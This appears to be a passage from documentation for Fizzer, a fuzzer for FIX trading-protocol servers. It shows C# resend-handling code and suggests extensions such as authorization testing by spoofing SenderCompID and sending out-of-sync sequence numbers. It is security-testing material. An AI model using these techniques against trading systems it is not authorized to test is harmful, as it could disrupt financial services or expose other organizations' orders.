The FIX protocol includes specifications for a resend request initiated by the receiving application.  These are commonly used when an error with sequence numbers is detected or the receiving application was not able to adequately process a message.  Testing Fizzer against different FIX receiving servers showed varying behavior when responding to resend requests.  Some systems will block until a valid message is sent while others will proceed without issue.  The way sequence number and orderID are handled also varies between systems.  It may be necessary to customize or remove the section of code which resends the original message when a resend response is received from the server.  The following shows this section of code.

else if (Regex.IsMatch(fuzzResponse, getSoh() + “35=2” + getSoh()))

{

    Console.WriteLine(“[INFO] - Got Resend Request: ” + fuzzResponse);

    //try sending the orginal message to reset the system

    fuzzMsg = updateTimeSequenceChecksum(Original, sequence, ordId);

    Console.WriteLine(“[INFO] - Sending Clean Message: ” + fuzzMsg);

    testTime = DateTime.Now;

    sendData(client, stream, fuzzMsg, out fuzzResponse);

    responseTime = DateTime.Now - testTime;

     logMessage(testTime.ToString(“yyyyMMdd-H:mm:ss.fff”), “reset::” + fuzzMsg, fuzzResponse, responseTime.Milliseconds.ToString());

 

    //account for response sequence number

     ++sequence;

}

Modify Defines

Two global variables at the top of the program are used to define the starting order id number and the regex to detect sequence errors.  These will need to be modified for the individual environment.

Add new Fuzz Strings

A function getFuzzList() is used to generate the array of fuzz strings.  New test cases should be added to this section.

Extending Functionality

There are a number of ways to quickly modify the program to test beyond simple fuzzing.  In the past, just a few lines of code have been needed to perform automated authorization testing against all captured requests.  This was accomplished by only fuzzing the SenderCompID and using the function getFuzzList() to generate the list of other organizations.  In addition, fuzzing sequence numbers or sending numbers out of sync have yielded interesting results.  Modifying the sections of code that iterate sequence numbers can be used to test for these conditions in other systems.

Test Environment

One way to try Fizzer out is to leverage the QuickFix example applications located at the URL below.  Hint: try removing the message resend functionality as mentioned above.